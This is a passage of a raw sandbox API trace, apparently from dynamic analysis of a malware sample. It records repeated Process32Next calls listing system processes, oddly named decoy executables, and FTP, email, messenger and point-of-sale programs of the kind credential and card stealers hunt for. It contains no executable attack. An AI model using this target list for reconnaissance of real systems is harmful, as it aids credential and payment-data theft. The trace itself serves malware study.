szExeFile="svchost.exe")) returned 1 [0264.071] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.074] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.076] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.079] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.087] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.090] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.092] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.094] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0264.095] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.099] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.101] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.105] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.108] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.110] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0264.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.117] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.118] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.120] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.122] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.124] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0264.126] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0264.128] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0264.130] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0264.132] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0264.133] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0264.135] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0264.137] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0264.139] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0264.141] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0264.143] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0264.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0264.146] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0264.148] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0264.150] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0264.152] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0264.154] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0264.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0264.157] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0264.159] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0264.162] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0264.165] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0264.167] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0264.201] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0264.205] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0264.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0264.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0264.215] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0264.218] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0264.221] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0264.224] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0264.228] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0264.231] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0264.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0264.236] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0264.240] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0264.257] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0264.262] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0264.265] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0264.269] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0264.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0264.278] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0264.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0264.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0264.286] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0264.289] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0264.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0264.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0264.297] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0264.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0264.304] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0264.307] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0264.310] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0264.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0264.315] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0264.318] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0264.320] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0264.322] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0264.371] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0264.374] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0264.377] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0264.379] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, 